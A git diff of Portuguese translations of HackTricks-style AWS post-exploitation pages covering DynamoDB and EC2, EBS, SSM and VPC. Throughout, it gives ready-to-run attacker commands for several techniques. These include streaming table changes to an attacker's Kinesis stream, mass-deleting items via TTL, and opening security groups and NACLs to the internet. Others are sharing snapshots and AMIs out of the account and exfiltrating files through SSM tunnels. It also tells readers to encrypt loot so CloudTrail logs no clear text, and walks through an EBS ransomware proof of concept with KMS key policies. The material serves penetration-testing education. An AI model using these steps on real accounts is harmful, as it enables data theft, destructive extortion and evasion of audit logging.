Abusar dos destinos de streaming Kinesis do DynamoDB para exfiltrar continuamente mudanças de uma tabela para um Kinesis Data Stream controlado pelo atacante. Uma vez habilitado, cada evento INSERT/MODIFY/REMOVE é encaminhado em quase tempo real para o stream sem necessidade de permissões de leitura na tabela.
|
||||
Abusar dos destinos de streaming Kinesis do DynamoDB para exfiltrar continuamente alterações de uma tabela para um Kinesis Data Stream controlado pelo atacante. Uma vez habilitado, todo evento INSERT/MODIFY/REMOVE é encaminhado quase em tempo real para o stream sem necessidade de permissões de leitura na tabela.
|
||||
|
||||
Permissões mínimas (atacante):
|
||||
- `dynamodb:EnableKinesisStreamingDestination` on the target table
|
||||
- Optionally `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` to monitor status
|
||||
- `dynamodb:EnableKinesisStreamingDestination` na tabela alvo
|
||||
- Opcionalmente `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` para monitorar o status
|
||||
- Permissões de leitura no Kinesis stream controlado pelo atacante para consumir registros: `kinesis:*`
|
||||
|
||||
<details>
|
||||
@@ -530,17 +530,17 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
|
||||
```
|
||||
### `dynamodb:UpdateTimeToLive`
|
||||
|
||||
Um atacante com a permissão dynamodb:UpdateTimeToLive pode alterar a configuração de TTL (tempo de vida) de uma tabela — ativando ou desativando o TTL. Quando o TTL está ativado, itens individuais que contêm o atributo de TTL configurado serão excluídos automaticamente assim que seu tempo de expiração for atingido. O valor de TTL é apenas outro atributo em cada item; itens sem esse atributo não são afetados pela exclusão baseada em TTL.
|
||||
Um atacante com a permissão `dynamodb:UpdateTimeToLive` pode alterar a configuração de TTL (tempo de expiração) de uma tabela — habilitando ou desabilitando o TTL. Quando o TTL está habilitado, itens individuais que contêm o atributo TTL configurado serão automaticamente excluídos assim que o tempo de expiração for alcançado. O valor TTL é apenas mais um atributo em cada item; itens sem esse atributo não são afetados pela exclusão baseada em TTL.
|
||||
|
||||
Se os itens ainda não contiverem o atributo de TTL, o atacante também precisaria de uma permissão que atualize itens (por exemplo dynamodb:UpdateItem) para adicionar o atributo de TTL e disparar exclusões em massa.
|
||||
Se os itens ainda não contiverem o atributo TTL, o atacante também precisaria de uma permissão que atualize itens (por exemplo `dynamodb:UpdateItem`) para adicionar o atributo TTL e disparar exclusões em massa.
|
||||
|
||||
Primeiro habilite o TTL na tabela, especificando o nome do atributo a ser usado para a expiração:
|
||||
Primeiro habilite o TTL na tabela, especificando o nome do atributo a ser usado para expiração:
|
||||
```bash
|
||||
aws dynamodb update-time-to-live \
|
||||
--table-name <TABLE_NAME> \
|
||||
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"
|
||||
```
|
||||
Então atualize os itens para adicionar o atributo TTL (segundos epoch) para que expirem e sejam removidos:
|
||||
Em seguida, atualize os itens para adicionar o atributo TTL (epoch seconds) para que eles expirem e sejam removidos:
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TABLE_NAME> \
|
||||
@@ -550,9 +550,9 @@ aws dynamodb update-item \
|
||||
```
|
||||
### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime`
|
||||
|
||||
Um atacante com as permissões dynamodb:RestoreTableFromAwsBackup ou dynamodb:RestoreTableToPointInTime pode criar novas tabelas restauradas de backups ou de point-in-time recovery (PITR) sem sobrescrever a tabela original. A tabela restaurada contém uma imagem completa dos dados no ponto selecionado, portanto o atacante pode usá-la para exfiltrar informações históricas ou obter um dump completo do estado anterior do banco de dados.
|
||||
Um atacante com as permissões `dynamodb:RestoreTableFromAwsBackup` ou `dynamodb:RestoreTableToPointInTime` pode criar novas tabelas restauradas a partir de backups ou de point-in-time recovery (PITR) sem sobrescrever a tabela original. A tabela restaurada contém uma imagem completa dos dados no ponto selecionado, portanto o atacante pode usá-la para exfiltrate informações históricas ou obter um dump completo do estado anterior do banco de dados.
|
||||
|
||||
Restaurar uma tabela do DynamoDB a partir de um backup sob demanda:
|
||||
Restore a DynamoDB table from an on-demand backup:
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--target-table-name <NEW_TABLE_NAME> \
|
||||
@@ -567,6 +567,6 @@ aws dynamodb restore-table-to-point-in-time \
|
||||
````
|
||||
</details>
|
||||
|
||||
**Impacto Potencial:** Exfiltration contínua, quase em tempo real, das alterações da tabela para um Kinesis stream controlado por um atacante sem operações de leitura diretas na tabela.
|
||||
**Impacto Potencial:** Exfiltração contínua, quase em tempo real, das alterações da tabela para um Kinesis stream controlado por um atacante sem operações de leitura diretas na tabela.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# AWS - EC2, EBS, SSM & VPC Post Exploitation
|
||||
# AWS - EC2, EBS, SSM & VPC Pós-exploração
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,7 @@ Para mais informações, consulte:
|
||||
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
VPC traffic mirroring **duplica o tráfego de entrada e saída para instâncias EC2 dentro de uma VPC** sem a necessidade de instalar nada nas próprias instâncias. Esse tráfego duplicado normalmente seria enviado para algo como um sistema de detecção de intrusão de rede (IDS) para análise e monitoramento.\
|
||||
VPC traffic mirroring **duplica o tráfego de entrada e saída das instâncias EC2 dentro de uma VPC** sem a necessidade de instalar nada nas próprias instâncias.\
|
||||
Um atacante poderia abusar disso para capturar todo o tráfego e obter informações sensíveis a partir dele:
|
||||
|
||||
Para mais informações, veja esta página:
|
||||
@@ -21,9 +21,9 @@ Para mais informações, veja esta página:
|
||||
aws-malicious-vpc-mirror.md
|
||||
{{#endref}}
|
||||
|
||||
### Copy Running Instance
|
||||
### Copiar Instância em Execução
|
||||
|
||||
Instâncias geralmente contêm algum tipo de informação sensível. Existem diferentes maneiras de acessar (veja [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). No entanto, outra forma de verificar o que elas contêm é **criar uma AMI e executar uma nova instância (mesmo na sua própria conta) a partir dela**:
|
||||
As instâncias normalmente contêm algum tipo de informação sensível. Existem diferentes maneiras de entrar nelas (ver [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). No entanto, outra forma de verificar o que elas contêm é **criar uma AMI e iniciar uma nova instância (mesmo na sua própria conta) a partir dela:**
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Snapshots são backups de volumes**, que normalmente contêm **informações sensíveis**, portanto verificá‑los deve revelar esses dados.\
|
||||
Se você encontrar um **volume sem snapshot** você pode: **Criar um snapshot** e executar as seguintes ações ou simplesmente **montá‑lo em uma instância** dentro da conta:
|
||||
**Snapshots são backups de volumes**, que geralmente conterão **informação sensível**, portanto verificá-los deve revelar essa informação.\
|
||||
Se você encontrar um **volume without a snapshot** você poderia: **Create a snapshot** e executar as ações a seguir ou simplesmente **montá-lo em uma instance** dentro da conta:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
@@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
Exporte um EC2 AMI diretamente para S3 usando `CreateStoreImageTask` para obter uma imagem de disco raw sem compartilhamento de snapshot. Isso permite forense offline completa ou roubo de dados enquanto mantém a rede da instância inalterada.
|
||||
Exporte um EC2 AMI diretamente para S3 usando `CreateStoreImageTask` para obter uma imagem de disco bruta sem snapshot sharing. Isto permite forense offline completa ou data theft enquanto mantém a rede da instance intacta.
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
@@ -66,7 +66,7 @@ aws-ami-store-s3-exfiltration.md
|
||||
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
Anexe um volume io1/io2 com Multi-Attach a uma segunda instância e monte‑o em modo read-only para extrair dados ao vivo sem snapshots. Útil quando o volume da vítima já tem Multi-Attach habilitado na mesma AZ.
|
||||
Anexe um volume io1/io2 Multi-Attach a uma segunda instance e monte-o em modo somente leitura para extrair dados ao vivo sem snapshots. Útil quando o volume da vítima já tem Multi-Attach habilitado na mesma AZ.
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
@@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
|
||||
Crie um EC2 Instance Connect Endpoint, autorize o ingress e injete chaves SSH efêmeras para acessar instâncias privadas através de um túnel gerenciado. Concede caminhos rápidos de movimento lateral sem abrir portas públicas.
|
||||
Crie um EC2 Instance Connect Endpoint, autorize ingress e injete chaves SSH efêmeras para acessar instances privadas através de um túnel gerenciado. Concede caminhos rápidos de movimento lateral sem abrir portas públicas.
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
@@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
Mova o secondary private IP de uma ENI da vítima para uma ENI controlada pelo atacante para se passar por hosts confiáveis que estão na lista de endereços permitidos por IP. Permite contornar ACLs internas ou regras de SG vinculadas a endereços específicos.
|
||||
Mova o IP privado secundário de uma ENI vítima para uma ENI controlada pelo atacante para se passar por hosts confiáveis que estão allowlisted por IP. Permite contornar ACLs internas ou regras SG vinculadas a endereços específicos.
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
@@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
Reassocie um Elastic IP da instância vítima para o atacante para interceptar tráfego de entrada ou originar conexões de saída que parecem vir de IPs públicos confiáveis.
|
||||
Reassocie um Elastic IP da instance vítima para o atacante para interceptar tráfego inbound ou originar conexões outbound que aparentem vir de IPs públicos confiáveis.
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
@@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
Se uma regra de security group referencia uma customer-managed prefix list, adicionar CIDRs do atacante à lista expande silenciosamente o acesso por todas as regras de SG dependentes sem modificar o SG em si.
|
||||
Se uma regra de security group referenciar uma customer-managed prefix list, adicionar CIDRs do atacante à lista expande silenciosamente o acesso através de todas as regras SG dependentes sem modificar o SG em si.
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
@@ -106,7 +106,7 @@ aws-managed-prefix-list-backdoor.md
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
Crie gateway ou interface VPC endpoints para recuperar acesso de saída a partir de subnets isoladas. Aproveitar private links gerenciados pela AWS contorna controles ausentes de IGW/NAT para exfiltração de dados.
|
||||
Crie gateway ou interface VPC endpoints para recuperar acesso outbound de subnets isoladas. Aproveitar AWS-managed private links contorna controles IGW/NAT ausentes para exfiltração de dados.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
@@ -114,12 +114,12 @@ aws-vpc-endpoint-egress-bypass.md
|
||||
|
||||
### `ec2:AuthorizeSecurityGroupIngress`
|
||||
|
||||
Um atacante com a permissão ec2:AuthorizeSecurityGroupIngress pode adicionar regras de entrada a security groups (por exemplo, permitindo tcp:80 de 0.0.0.0/0), expondo assim serviços internos à Internet pública ou a redes não autorizadas.
|
||||
Um atacante com a permissão ec2:AuthorizeSecurityGroupIngress pode adicionar regras inbound a security groups (por exemplo, permitindo tcp:80 from 0.0.0.0/0), expondo assim serviços internos à Internet pública ou a redes não autorizadas.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
```
|
||||
# `ec2:ReplaceNetworkAclEntry`
|
||||
Um atacante com permissões ec2:ReplaceNetworkAclEntry (ou semelhantes) pode modificar os Network ACLs (NACLs) de uma subnet para torná‑los muito permissivos — por exemplo permitindo 0.0.0.0/0 em portas críticas — expondo todo o intervalo da subnet para a Internet ou para segmentos de rede não autorizados. Ao contrário dos Security Groups, que são aplicados por instância, os NACLs são aplicados no nível da subnet, portanto alterar um NACL restritivo pode ter um raio de impacto muito maior ao permitir acesso a muitos mais hosts.
|
||||
Um atacante com permissões ec2:ReplaceNetworkAclEntry (ou similares) pode modificar os Network ACLs (NACLs) de uma subnet para torná-los muito permissivos — por exemplo permitindo 0.0.0.0/0 em portas críticas — expondo todo o intervalo da subnet para a Internet ou para segmentos de rede não autorizados. Ao contrário dos Security Groups, que são aplicados por instância, NACLs são aplicados no nível da subnet, então mudar um NACL restritivo pode ter um blast radius muito maior ao habilitar acesso a muitos mais hosts.
|
||||
```bash
|
||||
aws ec2 replace-network-acl-entry \
|
||||
--network-acl-id <ACL_ID> \
|
||||
@@ -131,7 +131,7 @@ aws ec2 replace-network-acl-entry \
|
||||
```
|
||||
### `ec2:Delete*`
|
||||
|
||||
Um atacante com permissões ec2:Delete* e iam:Remove* pode deletar recursos de infraestrutura críticos e configurações — por exemplo key pairs, launch templates/versions, AMIs/snapshots, volumes ou attachments, security groups ou rules, ENIs/network endpoints, route tables, gateways, ou managed endpoints. Isso pode causar interrupção imediata de serviço, perda de dados e perda de evidências forenses.
|
||||
Um atacante com permissões ec2:Delete* e iam:Remove* pode deletar recursos e configurações críticas da infraestrutura — por exemplo key pairs, launch templates/versions, AMIs/snapshots, volumes ou attachments, grupos de segurança ou regras, ENIs/network endpoints, route tables, gateways, ou managed endpoints. Isso pode causar interrupção imediata do serviço, perda de dados e perda de evidências forenses.
|
||||
|
||||
One example is deleting a security group:
|
||||
|
||||
@@ -140,7 +140,7 @@ aws ec2 delete-security-group \
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
Point VPC Flow Logs to an attacker-controlled S3 bucket to continuously collect network metadata (source/destination, ports) outside the victim account for long-term reconnaissance.
|
||||
Aponte VPC Flow Logs para um S3 bucket controlado pelo atacante para coletar continuamente metadados de rede (origem/destino, portas) fora da conta da vítima para reconhecimento de longo prazo.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
@@ -150,30 +150,30 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
|
||||
#### DNS Exfiltration
|
||||
|
||||
Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**.
|
||||
Mesmo se você bloquear um EC2 para que nenhum tráfego saia, ele ainda pode **exfil via DNS**.
|
||||
|
||||
- **VPC Flow Logs will not record this**.
|
||||
- You have no access to AWS DNS logs.
|
||||
- Disable this by setting "enableDnsSupport" to false with:
|
||||
- Você não tem acesso aos logs DNS da AWS.
|
||||
- Desative isso definindo "enableDnsSupport" para false com:
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration via API calls
|
||||
|
||||
Um atacante poderia chamar endpoints de API de uma conta controlada por ele. Cloudtrail irá registrar essas chamadas e o atacante poderá ver os dados exfiltrados nos logs do Cloudtrail.
|
||||
Um atacante pode chamar endpoints de API de uma conta controlada por ele. Cloudtrail irá registrar essas chamadas e o atacante poderá ver os dados exfiltrados nos logs do Cloudtrail.
|
||||
|
||||
### Open Security Group
|
||||
### Abrir grupo de segurança
|
||||
|
||||
Você poderia obter acesso adicional a serviços de rede abrindo portas assim:
|
||||
Você pode obter mais acesso a serviços de rede abrindo portas assim:
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
### Privesc to ECS
|
||||
### Privesc para ECS
|
||||
|
||||
É possível executar uma instância EC2 e registrá-la para ser usada para executar instâncias ECS e então exfiltrar os dados das instâncias ECS.
|
||||
É possível executar uma instância EC2 e registrá-la para ser usada para executar instâncias ECS e depois roubar os dados das instâncias ECS.
|
||||
|
||||
Para [**mais informações, veja isto**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
Para [**mais informações, consulte isto**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
### Remover VPC flow logs
|
||||
```bash
|
||||
@@ -185,8 +185,8 @@ Permissões necessárias:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
Além da execução de comandos, o SSM permite o tunelamento de tráfego, que pode ser abusado para pivoting a partir de instâncias EC2 que não têm acesso à rede devido a Security Groups ou NACLs.
|
||||
Um dos cenários em que isso é útil é o pivoting a partir de um [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) para um cluster EKS privado.
|
||||
Além da execução de comandos, o SSM permite traffic tunneling, que pode ser abusado para pivoting a partir de instâncias EC2 que não têm acesso de rede devido a Security Groups ou NACLs.
|
||||
Um dos cenários em que isto é útil é pivoting a partir de um [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) para um EKS cluster privado.
|
||||
|
||||
> Para iniciar uma sessão você precisa do SessionManagerPlugin instalado: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
@@ -195,54 +195,54 @@ Um dos cenários em que isso é útil é o pivoting a partir de um [Bastion Host
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. Obtenha as credenciais temporárias do Bastion EC2 AWS com o [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script
|
||||
4. Transfira as credenciais para sua própria máquina no arquivo `$HOME/.aws/credentials` como o perfil `[bastion-ec2]`
|
||||
3. Obtenha as credenciais temporárias AWS do Bastion EC2 com o script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
|
||||
4. Transfira as credenciais para sua própria máquina no arquivo `$HOME/.aws/credentials` como o perfil `[bastion-ec2]`
|
||||
5. Faça login no EKS como o Bastion EC2:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
6. Atualize o campo `server` no arquivo `$HOME/.kube/config` para apontar para `https://localhost`
|
||||
6. Atualize o campo `server` no arquivo `$HOME/.kube/config` para apontar para `https://localhost`
|
||||
7. Crie um túnel SSM da seguinte forma:
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. O tráfego da ferramenta `kubectl` agora é encaminhado através do túnel SSM via o Bastion EC2 e você pode acessar o cluster EKS privado da sua própria máquina executando:
|
||||
8. O tráfego da ferramenta `kubectl` agora é encaminhado através do túnel SSM via o Bastion EC2 e você pode acessar o cluster EKS privado a partir da sua própria máquina executando:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Observe que as conexões SSL falharão a menos que você defina a flag `--insecure-skip-tls-verify` (ou o equivalente em ferramentas de auditoria K8s). Como o tráfego é tunelado pelo túnel seguro do AWS SSM, você está protegido contra qualquer tipo de ataques MitM.
|
||||
Note que as conexões SSL falharão a menos que você defina a flag `--insecure-skip-tls-verify ` (ou seu equivalente em K8s audit tools). Como o tráfego é tunelado através do túnel seguro AWS SSM, você está protegido contra qualquer tipo de ataques MitM.
|
||||
|
||||
Por fim, esta técnica não é específica para atacar clusters privados EKS. Você pode definir domínios e portas arbitrários para realizar um pivot para qualquer outro serviço AWS ou uma aplicação customizada.
|
||||
Finalmente, esta técnica não é específica para atacar clusters EKS privados. Você pode definir domínios e portas arbitrários para pivot para qualquer outro serviço AWS ou uma aplicação customizada.
|
||||
|
||||
---
|
||||
|
||||
#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
|
||||
#### Encaminhamento Rápido Local ↔️ Remoto de Porta (AWS-StartPortForwardingSession)
|
||||
|
||||
Se você só precisa encaminhar **uma porta TCP do EC2 instance para sua máquina local** você pode usar o documento SSM `AWS-StartPortForwardingSession` (nenhum parâmetro de host remoto é necessário):
|
||||
Se você só precisa encaminhar **uma porta TCP do EC2 instance para sua máquina local** você pode usar o documento SSM `AWS-StartPortForwardingSession` (no remote host parameter required):
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
O comando estabelece um túnel bidirecional entre sua estação de trabalho (`localPortNumber`) e a porta selecionada (`portNumber`) na instance **sem abrir nenhuma regra de inbound do Security-Group**.
|
||||
O comando estabelece um túnel bidirecional entre sua workstation (`localPortNumber`) e a porta selecionada (`portNumber`) na instância **sem abrir nenhuma regra de Security-Group de entrada**.
|
||||
|
||||
Casos de uso comuns:
|
||||
Common use cases:
|
||||
|
||||
* **File exfiltration**
|
||||
1. Na instance, inicie um servidor HTTP rápido apontando para o diretório que você quer exfiltrate:
|
||||
1. Na instância, inicie rapidamente um servidor HTTP que aponte para o diretório que você quer exfiltrate:
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000
|
||||
```
|
||||
|
||||
2. Da sua estação de trabalho, recupere os arquivos através do túnel SSM:
|
||||
2. A partir da sua workstation, recupere os arquivos através do túnel SSM:
|
||||
|
||||
```bash
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
```
|
||||
|
||||
* **Acessando aplicações web internas (e.g. Nessus)**
|
||||
* **Accessing internal web applications (e.g. Nessus)**
|
||||
```bash
|
||||
# Forward remote Nessus port 8834 to local 8835
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
@@ -250,7 +250,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
Dica: Compress and encrypt evidence antes de exfiltrating, para que o CloudTrail não registre o conteúdo em clear-text:
|
||||
Dica: Compress e encrypt as evidências antes de exfiltrating-as, para que CloudTrail não registre o conteúdo em clear-text:
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
@@ -259,9 +259,9 @@ Dica: Compress and encrypt evidence antes de exfiltrating, para que o CloudTrail
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### Procurar informação sensível em AMIs públicas e privadas
|
||||
### Pesquisar informações sensíveis em AMIs públicas e privadas
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel é uma ferramenta projetada para **buscar informação sensível dentro de Amazon Machine Images públicas ou privadas (AMIs)**. Ela automatiza o processo de iniciar instâncias a partir de AMIs alvo, montar seus volumes e escanear em busca de possíveis secrets ou dados sensíveis.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel é uma ferramenta projetada para **pesquisar informações sensíveis em Amazon Machine Images (AMIs) públicas ou privadas**. Ela automatiza o processo de iniciar instâncias a partir das AMIs alvo, montar seus volumes e procurar por possíveis segredos ou dados sensíveis.
|
||||
|
||||
### Compartilhar EBS Snapshot
|
||||
```bash
|
||||
@@ -269,9 +269,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
Uma prova de conceito similar à demonstração de Ransomware apresentada nas notas de post-exploitation do S3. KMS deveria ser renomeado para RMS (Ransomware Management Service) pela facilidade de uso para criptografar vários serviços da AWS.
|
||||
Uma prova de conceito semelhante à demonstração de Ransomware apresentada nas notas de pós-exploração do S3. O KMS deveria ser renomeado para RMS (Ransomware Management Service), dada a facilidade de usá-lo para criptografar vários serviços AWS.
|
||||
|
||||
Primeiro, a partir de uma conta AWS de 'atacante', crie uma customer managed key no KMS. Para este exemplo vamos apenas deixar a AWS gerenciar os dados da chave para mim, mas em um cenário realista um ator malicioso reteria os dados da chave fora do controle da AWS. Altere a key policy para permitir que qualquer AWS account Principal utilize a chave. Para esta key policy, o nome da conta era 'AttackSim' e a regra da policy que permite acesso total chama-se 'Outside Encryption'
|
||||
Primeiro, a partir de uma conta AWS 'attacker', crie uma customer managed key no KMS. Neste exemplo vamos simplesmente deixar a AWS gerenciar os dados da chave para mim, mas em um cenário realista um ator malicioso reteria os dados da chave fora do controle da AWS. Altere a key policy para permitir que qualquer AWS account Principal use a chave. Nesta key policy, o nome da conta era 'AttackSim' e a regra de política que permite acesso total chama-se 'Outside Encryption'
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -363,7 +363,7 @@ Primeiro, a partir de uma conta AWS de 'atacante', crie uma customer managed key
|
||||
]
|
||||
}
|
||||
```
|
||||
A regra da key policy precisa ter o seguinte habilitado para permitir a capacidade de usá-la para criptografar um volume EBS:
|
||||
A regra da key policy precisa das seguintes permissões habilitadas para permitir o uso dela para criptografar um volume EBS:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -371,21 +371,21 @@ A regra da key policy precisa ter o seguinte habilitado para permitir a capacida
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Agora, com a chave publicamente acessível para uso. Podemos usar uma conta 'victim' que tem algumas instâncias EC2 rodando com volumes EBS não criptografados anexados. Os volumes EBS dessa conta 'victim' são o que estamos mirando para criptografia; este ataque pressupõe o comprometimento de uma conta AWS com altos privilégios.
|
||||
Agora com a key publicamente acessível para uso. Podemos usar uma conta 'vítima' que tem algumas instâncias EC2 rodando com volumes EBS não criptografados anexados. Os volumes EBS dessa conta 'vítima' são o alvo para criptografia; este ataque é realizado sob o pressuposto de comprometimento de uma conta AWS de alto privilégio.
|
||||
|
||||
 
|
||||
|
||||
Semelhante ao exemplo de ransomware em S3. Este ataque criará cópias dos volumes EBS anexados usando snapshots, usará a chave publicamente disponível da conta 'attacker' para criptografar os novos volumes EBS, então desanexará os volumes EBS originais das instâncias EC2 e os excluirá, e por fim excluirá os snapshots usados para criar os novos volumes EBS criptografados. 
|
||||
Semelhante ao exemplo de ransomware em S3. Esse ataque irá criar cópias dos volumes EBS anexados usando snapshots, usar a key publicamente disponível da conta 'atacante' para criptografar os novos volumes EBS, então desanexar os volumes EBS originais das instâncias EC2 e deletá-los, e então finalmente deletar os snapshots usados para criar os novos volumes EBS criptografados. 
|
||||
|
||||
Isso resulta em apenas volumes EBS criptografados disponíveis na conta.
|
||||
Isso resulta em apenas volumes EBS criptografados restantes disponíveis na conta.
|
||||
|
||||
|
||||
|
||||
Também vale notar que o script parou as instâncias EC2 para desanexar e excluir os volumes EBS originais. Os volumes originais não criptografados foram removidos agora.
|
||||
Também vale notar que o script interrompeu as instâncias EC2 para desanexar e deletar os volumes EBS originais. Os volumes originais não criptografados foram removidos.
|
||||
|
||||
|
||||
|
||||
Em seguida, retorne à key policy na conta 'attacker' e remova a regra de política 'Outside Encryption' da key policy.
|
||||
Em seguida, volte para a key policy na conta 'atacante' e remova a regra de policy 'Outside Encryption' da key policy.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -456,15 +456,15 @@ Em seguida, retorne à key policy na conta 'attacker' e remova a regra de polít
|
||||
]
|
||||
}
|
||||
```
|
||||
Aguarde um momento para a nova key policy se propagar. Em seguida, retorne para a conta 'victim' e tente anexar um dos volumes EBS recém-encriptados. Você verá que consegue anexar o volume.
|
||||
Aguarde um momento para a nova política da chave propagar. Em seguida, retorne à conta 'vítima' e tente anexar um dos novos volumes EBS criptografados. Você verá que consegue anexar o volume.
|
||||
|
||||
 
|
||||
|
||||
Mas quando você tenta realmente reiniciar a instância EC2 com o volume EBS encriptado, ela simplesmente falha e passa do estado 'pending' de volta para o estado 'stopped' indefinidamente, já que o volume EBS anexado não pode ser decriptado usando a key porque a key policy não permite mais.
|
||||
Mas quando você tenta, de fato, iniciar a instância EC2 com o volume EBS criptografado ela simplesmente falha e passa do estado 'pending' de volta para o estado 'stopped' indefinidamente, já que o volume EBS anexado não pode ser descriptografado usando a chave, pois a política da chave não permite mais.
|
||||
|
||||
 
|
||||
|
||||
